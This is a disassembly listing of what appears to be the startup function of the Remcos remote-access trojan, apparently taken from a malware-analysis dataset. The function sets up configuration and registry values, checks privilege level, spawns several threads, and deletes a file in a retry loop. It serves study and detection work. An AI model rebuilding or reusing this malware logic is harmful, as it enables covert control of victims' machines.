Function at 0xb2ea00
Capabilities:
Create thread
Delete file

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
mov eax, dword [ebp + 8]
sub esp, 0x30c
mov dword [0xb92d40], eax
push ebx
push esi
push edi
call fcn.00b3cbe1
push 0x104
push 0xb92b38
xor edi, edi
push edi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea ecx, [esp + 0x48]
call fcn.00b2f3fe
sub esp, 0x18
mov ecx, esp
push 0xb95368
call fcn.00b220f6
sub esp, 0x18
lea eax, [esp + 0x78]
mov ecx, esp
push eax
call fcn.00b220f6
lea ecx, [esp + 0x60]
call fcn.00b3beac
add esp, 0x30
push eax
call fcn.00b2fb52
lea ecx, [esp + 0x30]
call fcn.00b21e8d
push 0xb87388
push dword [ebp + 0x10]
call fcn.00b5fd50
pop ecx
pop ecx
test eax, eax
jne 0xb2eace
push ecx
push ecx
push 2
push str.license_code.txt
lea ecx, [esp + 0x70]
call fcn.00b2fbee
push 0x34
mov ecx, 0xb950e4
call fcn.00b21e65
mov ecx, eax
call fcn.00b21fab
mov edx, eax
lea ecx, [esp + 0x60]
call fcn.00b30f72
lea ecx, [esp + 0x60]
call fcn.00b2fb9f
lea ecx, [esp + 0x60]
call fcn.00b2f3eb
xor esi, esi
inc esi
jmp 0xb2ef2d
push 3
pop ebx
mov esi, 0xb950e4
push ebx
mov ecx, esi
call fcn.00b21e65
mov ecx, eax
call fcn.00b21fab
push 0xb860cc
push 0xe
mov ecx, esi
cmp byte [eax], 0
setne byte [0xb92b32]
call fcn.00b21e65
push eax
mov edx, str.Software_
lea ecx, [esp + 0x1c]
call fcn.00b2531e
pop ecx
mov edx, eax
lea ecx, [esp + 0x34]
call fcn.00b26383
pop ecx
push eax
mov ecx, 0xb952f0
call fcn.00b21fe2
lea ecx, [esp + 0x30]
call fcn.00b21fd8
lea ecx, [esp + 0x14]
call fcn.00b21fd8
push 0xe
mov ecx, esi
call fcn.00b21e65
push eax
mov ecx, 0xb95320
call fcn.00b21fc0
push 0xb873ac
mov ecx, 0xb95380
call fcn.00b25aa6
push edi
push 0x32
mov ecx, esi
call fcn.00b21e65
mov ecx, eax
call fcn.00b251e3
push edi
push 0x33
mov ecx, esi
cmp byte [eax], 0
setne byte [0xb92d4b]
call fcn.00b21e65
mov ecx, eax
call fcn.00b251e3
cmp byte [eax], 0
setne byte [0xb92d60]
cmp byte [0xb92d4b], 0
je 0xb2ebe9
push 0xb873b0
mov edx, 0xb95320
lea ecx, [esp + 0x18]
call fcn.00b26c59
pop ecx
push eax
mov ecx, 0xb95418
call fcn.00b21fe2
lea ecx, [esp + 0x14]
call fcn.00b21fd8
lea eax, [esp + 0x2c]
mov dword [esp + 0x2c], edi
push eax
push 0xb873b4
mov ecx, 0xb952f0
call fcn.00b21fab
mov edx, eax
call fcn.00b33584
pop ecx
pop ecx
test al, al
jne 0xb2f38a
push 0xd
mov ecx, esi
mov dword [esp + 0x14], edi
call fcn.00b21e65
mov edx, 0xb8612c
mov ecx, eax
call fcn.00b2b9f8
test al, al
je 0xb2ec3e
lea eax, [esp + 0x10]
mov ecx, 0xb952f0
push eax
push 0xb873b8
call fcn.00b21fab
mov edx, eax
call fcn.00b33584
pop ecx
pop ecx
test al, al
je 0xb2ec3e
push 0xb873b8
mov ecx, 0xb952f0
call fcn.00b21fab
mov edx, eax
call fcn.00b339e4
pop ecx
call fcn.00b2d0a4
test eax, eax
jne 0xb2ec4e
push 2
jmp 0xb2ef2c
mov eax, dword [0xb94aec]
test eax, eax
je 0xb2ec59
call eax
call fcn.00b3b354
mov eax, dword [0xb94af8]
test eax, eax
je 0xb2ec6e
call eax
mov dword [0xb919d0], eax
cmp dword [esp + 0x10], edi
jne 0xb2ecb1
call fcn.00b27751
test eax, eax
je 0xb2ec87
call fcn.00b27773
call fcn.00b2729b
push 0x2e
mov ecx, esi
call fcn.00b21e65
mov ecx, eax
call fcn.00b21fab
cmp byte [eax], 0
je 0xb2ecb1
cmp dword [0xb94af8], edi
je 0xb2ecb1
cmp dword [0xb919d0], edi
jne 0xb2ecb1
call fcn.00b2729b
push 0x27
mov ecx, esi
call fcn.00b21e65
mov ecx, eax
call fcn.00b21fab
cmp byte [eax], 0
je 0xb2eccb
call fcn.00b27790
push 0xe
mov ecx, esi
call fcn.00b21e65
mov edx, eax
lea ecx, [esp + 0x14]
call fcn.00b3bcef
push eax
mov ecx, 0xb952c0
call fcn.00b21f13
lea ecx, [esp + 0x14]
call fcn.00b21f09
push 4
mov ecx, esi
call fcn.00b21e65
mov ecx, eax
call fcn.00b21fab
push 5
mov ecx, esi
cmp byte [eax], 0
setne byte [0xb92b33]
call fcn.00b21e65
mov ecx, eax
call fcn.00b21fab
push 8
mov ecx, esi
cmp byte [eax], 0
setne byte [0xb92b30]
call fcn.00b21e65
mov ecx, eax
call fcn.00b21fab
push ebx
mov ecx, esi
cmp byte [eax], 0
setne byte [0xb92b31]
call fcn.00b21e65
mov ecx, eax
call fcn.00b21fab
cmp byte [eax], 0
je 0xb2edbb
push 0x30
mov ecx, esi
call fcn.00b21e65
mov ecx, eax
call fcn.00b21fab
push eax
call fcn.00b5bb56
pop ecx
test eax, eax
je 0xb2edbb
push 9
mov ecx, esi
call fcn.00b21e65
mov ecx, eax
call fcn.00b21fab
push 0x30
mov ecx, 0xb950e4
mov esi, eax
call fcn.00b21e65
mov ecx, eax
call fcn.00b21fab
mov dl, byte [esi]
lea ecx, [esp + 0x14]
push eax
call fcn.00b2da6f
pop ecx
push eax
mov ecx, 0xb95308
call fcn.00b21f13
lea ecx, [esp + 0x14]
call fcn.00b21f09
mov esi, 0xb950e4
cmp dword [esp + 0x10], edi
jne 0xb2ef41
cmp byte [0xb92b32], 0
je 0xb2ee4a
push 0x1e
mov ecx, esi
call fcn.00b21e65
mov ecx, eax
call fcn.00b21fab
push 0xc
mov ecx, esi
mov bh, byte [eax]
call fcn.00b21e65
mov ecx, eax
call fcn.00b21fab
push 9
mov ecx, esi
mov bl, byte [eax]
call fcn.00b21e65
mov ecx, eax
call fcn.00b21fab
test bh, bh
mov esi, eax
setne cl
test bl, bl
movzx ecx, cl
mov ebx, 0xb950e4
push ecx
setne cl
movzx ecx, cl
push ecx
push 0xa
mov ecx, ebx
call fcn.00b21e65
mov ecx, eax
call fcn.00b21fab
push eax
push 0x30
mov ecx, ebx
call fcn.00b21e65
mov ecx, eax
call fcn.00b21fab
mov cl, byte [esi]
mov edx, eax
call fcn.00b2ce34
add esp, 0xc
jmp 0xb2ee59
push 0xb92b38
mov ecx, 0xb952d8
call fcn.00b29092
mov ecx, 0xb952d8
call fcn.00b2247c
push 2
xor ebx, ebx
inc eax
pop ecx
mul ecx
seto bl
neg ebx
or ebx, eax
push ebx
call fcn.00b54829
mov esi, eax
pop ecx
test esi, esi
je 0xb2ee8c
push ebx
push edi
push esi
call fcn.00b56f10
add esp, 0xc
jmp 0xb2ee8e
mov esi, edi
mov ecx, 0xb952d8
call fcn.00b21f04
push eax
push esi
call fcn.00b5f859
pop ecx
mov ebx, 0xb95338
mov ecx, ebx
call fcn.00b2247c
push eax
mov ecx, ebx
call fcn.00b21fab
push eax
mov ecx, 0xb952d8
call fcn.00b2247c
mov ecx, 0xb952f0
lea eax, [eax*2 + 2]
push eax
push esi
push str.exepath
call fcn.00b21fab
mov edx, eax
call fcn.00b33982
push esi
call fcn.00b54832
add esp, 0x1c
mov esi, 0xb950e4
mov ecx, esi
push 0xd
call fcn.00b21e65
mov edx, 0xb8612c
mov ecx, eax
call fcn.00b2b9f8
test al, al
je 0xb2efa6
push 0xd
mov ecx, esi
call fcn.00b21e65
sub esp, 0x18
mov edx, eax
mov ecx, esp
call fcn.00b3bcef
call fcn.00b2f4af
add esp, 0x18
cmp al, 1
jne 0xb2efa6
push 3
pop esi
lea ecx, [esp + 0x48]
call fcn.00b21fd8
pop edi
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x10
mov esi, 0x208
lea eax, [esp + 0x110]
push esi
push edi
push eax
call fcn.00b56f10
add esp, 0xc
mov ebx, 0xb95338
mov ecx, ebx
call fcn.00b2247c
push eax
mov ecx, ebx
call fcn.00b21fab
push eax
push esi
lea eax, [esp + 0x11c]
mov ecx, 0xb952f0
push eax
push str.exepath
call fcn.00b21fab
mov edx, eax
call fcn.00b33733
add esp, 0x14
lea eax, [esp + 0x110]
mov ecx, 0xb952d8
push eax
call fcn.00b29092
mov esi, 0xb950e4
push 1
push 0x34
mov ecx, esi
call fcn.00b21e65
mov ecx, eax
call fcn.00b21fab
sub esp, 0x18
mov ecx, esp
push eax
call fcn.00b22093
push str.licence
mov ecx, 0xb952f0
call fcn.00b21fab
mov edx, eax
call fcn.00b337aa
add esp, 0x20
mov ecx, esi
push 0x28
call fcn.00b21e65
mov ecx, eax
call fcn.00b21fab
push eax
call fcn.00b5bb2c
mov byte [0xb92d48], al
pop ecx
cmp al, 2
jne 0xb2f017
mov cl, 1
call fcn.00b3ce2c
push edi
push edi
push edi
push 0xb3d4ee
push edi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_CreateThread]
call edi
jmp 0xb2f025
cmp al, 1
jne 0xb2f01f
xor cl, cl
jmp 0xb2effe
mov edi, dword [sym.imp.KERNEL32.dll_CreateThread]
sub esp, 0x18
mov ecx, esp
push str.Remcos_Agent_initialized
call fcn.00b22093
sub esp, 0x18
mov ecx, esp
push 0xb85fb4
call fcn.00b22093
call fcn.00b3b580
add esp, 0x30
mov ecx, esi
push 0xb
call fcn.00b21e65
mov ecx, eax
call fcn.00b21fab
push 0x10
mov ecx, esi
mov bl, byte [eax]
call fcn.00b21e65
mov ecx, eax
call fcn.00b21fab
test bl, bl
mov esi, eax
mov ebx, 0xb950e4
setne cl
movzx ecx, cl
push ecx
push 7
mov ecx, ebx
call fcn.00b21e65
mov ecx, eax
call fcn.00b21fab
push eax
call fcn.00b5bb2c
pop ecx
push eax
push 0x11
mov ecx, ebx
call fcn.00b21e65
mov ecx, eax
call fcn.00b21fab
push eax
push 0x31
mov ecx, ebx
call fcn.00b21e65
mov ecx, eax
call fcn.00b21fab
push eax
movzx eax, byte [esi]
mov ecx, ebx
push eax
push 0x2a
call fcn.00b21e65
mov ecx, eax
call fcn.00b21fab
push eax
push 0xf
mov ecx, ebx
call fcn.00b21e65
mov ecx, eax
call fcn.00b21fab
push eax
call dword [sym.imp.SHLWAPI.dll_StrToIntA]
push eax
mov ecx, 0xb950f0
call fcn.00b29e1f
push 0x14
mov ecx, ebx
call fcn.00b21e65
mov ecx, eax
call fcn.00b21fab
cmp byte [eax], 1
jne 0xb2f13c
push 2
pop eax
push eax
call fcn.00b5455e
mov esi, eax
xor ebx, ebx
pop ecx
push 0x35
mov ecx, 0xb950e4
mov byte [esi], bl
call fcn.00b21e65
mov ecx, eax
call fcn.00b21fab
push ebx
push ebx
push esi
cmp byte [eax], bl
push 0xb3a045
push ebx
setne cl
push ebx
mov byte [esi + 1], cl
call edi
jmp 0xb2f13e
xor ebx, ebx
mov esi, 0xb950e4
push 0x16
mov ecx, esi
call fcn.00b21e65
mov ecx, eax
call fcn.00b21fab
cmp byte [eax], 1
jne 0xb2f194
push 2
pop eax
push eax
call fcn.00b5455e
mov esi, eax
pop ecx
push 0x35
mov ecx, 0xb950e4
mov byte [esi], 1
call fcn.00b21e65
mov ecx, eax
call fcn.00b21fab
push ebx
push ebx
push esi
cmp byte [eax], 0
push 0xb3a045
push ebx
setne cl
push ebx
mov byte [esi + 1], cl
call edi
mov esi, 0xb950e4
push 0x23
mov ecx, esi
call fcn.00b21e65
mov ecx, eax
call fcn.00b21fab
cmp byte [eax], 1
jne 0xb2f207
push 0x25
mov ecx, esi
mov byte [0xb92a85], 1
call fcn.00b21e65
mov ecx, eax
call fcn.00b21fab
push 0x26
mov ecx, 0xb950e4
mov esi, eax
call fcn.00b21e65
mov ecx, eax
call fcn.00b21fab
mov dl, byte [esi]
lea ecx, [esp + 0x14]
push eax
call fcn.00b2da23
pop ecx
push eax
mov ecx, 0xb94d64
call fcn.00b21f13
lea ecx, [esp + 0x14]
call fcn.00b21f09
push ebx
push ebx
push ebx
push 0xb21be9
push ebx
push ebx
call edi
mov esi, 0xb950e4
push 0x2b
mov ecx, esi
call fcn.00b21e65
mov ecx, eax
call fcn.00b21fab
cmp byte [eax], 1
jne 0xb2f255
push 0x2c
mov ecx, esi
call fcn.00b21e65
mov ecx, eax
call fcn.00b21fab
push 0x2d
mov ecx, 0xb950e4
mov esi, eax
call fcn.00b21e65
mov ecx, eax
call fcn.00b21fab
push eax
call fcn.00b5bb2c
cmp byte [esi], 0
mov edx, eax
pop ecx
setne cl
call fcn.00b2c19d
lea ecx, [esp + 0x14]
call fcn.00b3b69e
push eax
mov ecx, 0xb95350
call fcn.00b21f13
lea ecx, [esp + 0x14]
call fcn.00b21f09
mov eax, dword [0xb94af0]
test eax, eax
je 0xb2f27e
push ebx
call eax
push ebx
push ebx
push ebx
push 0xb2f7e2
push ebx
push ebx
call edi
cmp byte [0xb92d4b], 0
je 0xb2f29f
push ebx
push ebx
push ebx
push fcn.00b32132
push ebx
push ebx
call edi
cmp byte [0xb92d60], 0
je 0xb2f2b4
push ebx
push ebx
push ebx
push 0xb32716
push ebx
push ebx
call edi
mov eax, dword [0xb919d0]
sub eax, ebx
je 0xb2f2c9
sub eax, 1
jne 0xb2f307
push str.Administrator
jmp 0xb2f2ce
push str.User
lea ecx, [esp + 0x18]
call fcn.00b22093
sub esp, 0x18
mov edx, str.Access_Level:
mov ecx, esp
push eax
call fcn.00b252fd
sub esp, 0x14
mov ecx, esp
push 0xb85fb4
call fcn.00b22093
call fcn.00b3b580
add esp, 0x30
lea ecx, [esp + 0x14]
call fcn.00b21fd8
mov edi, 0xb952f0
push 0xb87408
mov ecx, edi
call fcn.00b21fab
mov edx, eax
call fcn.00b3353a
pop ecx
test al, al
je 0xb2f3e0
push 0xb86f7c
mov edx, edi
lea ecx, [esp + 0x18]
call fcn.00b3bcef
mov ecx, eax
call fcn.00b21f04
push eax
mov edx, closesocket
lea ecx, [esp + 0x38]
call fcn.00b33656
pop ecx
pop ecx
lea ecx, [esp + 0x14]
call fcn.00b21f09
lea ecx, [esp + 0x30]
call fcn.00b21f04
mov esi, dword [sym.imp.KERNEL32.dll_DeleteFileW]
jmp 0xb2f381
cmp ebx, 0xa
jge 0xb2f3aa
push 0xa
inc ebx
call dword [sym.imp.KERNEL32.dll_Sleep]
lea ecx, [esp + 0x30]
call fcn.00b21f04
push eax
call esi
test eax, eax
je 0xb2f36a
jmp 0xb2f3aa
push 0xb873b4
mov ecx, 0xb952f0
call fcn.00b21fab
mov edx, eax
call fcn.00b339e4
pop ecx
mov ecx, dword [esp + 0x2c]
call fcn.00b324b0
push 0xb86f7c
mov edx, edi
lea ecx, [esp + 0x18]
call fcn.00b3bcef
mov ecx, eax
call fcn.00b21f04
mov edx, eax
mov ecx, closesocket
call fcn.00b33a5e
pop ecx
lea ecx, [esp + 0x14]
call fcn.00b21f09
lea ecx, [esp + 0x30]
call fcn.00b21f09
call fcn.00b2dd7d
call fcn.00b34f65
int3